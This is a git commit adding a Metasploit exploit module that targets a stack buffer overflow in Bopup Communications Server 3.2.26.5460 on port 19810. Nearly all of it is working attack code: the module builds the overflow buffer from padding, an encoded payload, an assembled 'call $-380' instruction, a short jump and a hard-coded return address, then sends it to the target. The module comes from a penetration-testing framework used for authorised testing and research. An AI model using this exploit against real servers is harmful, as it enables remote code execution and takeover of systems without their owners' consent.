added exploit module bopup_comm.rb

git-svn-id: file:///home/svn/framework3/trunk@6721 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/misc/bopup_comm.rb

@@ -0,0 +1,72 @@
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+
+	include Msf::Exploit::Remote::Tcp
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Bopup Communications Server Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack overflow in Bopup Communications Server 3.2.26.5460.
+					By sending a specially crafted packet, an attacker may be
+					able to execute arbitrary code.
+			},
+			'Author'         => [ 'MC' ],
+			'License'        => MSF_LICENSE,			
+			'Version'        => '$Revision:$',
+			'References'     => 
+				[ 
+					[ 'URL', 'http://www.blabsoft.com/products/server' ],
+					[ 'URL', 'http://milw0rm.com/exploits/9002' ], 
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload'        =>
+				{
+					'Space'    => 417,
+					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
+					'StackAdjustment' => -3500,
+					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
+				],
+			'Privileged'     => true,
+			'DefaultTarget'  => 0,
+			'DisclosureDate' => 'Jun 18 2009'))
+
+			register_options([Opt::RPORT(19810)], self.class)
+
+	end
+
+	def exploit
+		connect
+		
+		sploit =  [0x00000001].pack('V')
+		sploit << rand_text_alpha_upper(829 - payload.encoded.length)
+		sploit << payload.encoded
+		sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
+		sploit << rand_text_alpha_upper(27)
+		sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
+		sploit << [target.ret].pack('V')
+ 
+		print_status("Trying target #{target.name}...")		
+		sock.put(sploit)
+
+		handler
+		disconnect
+	end
+
+end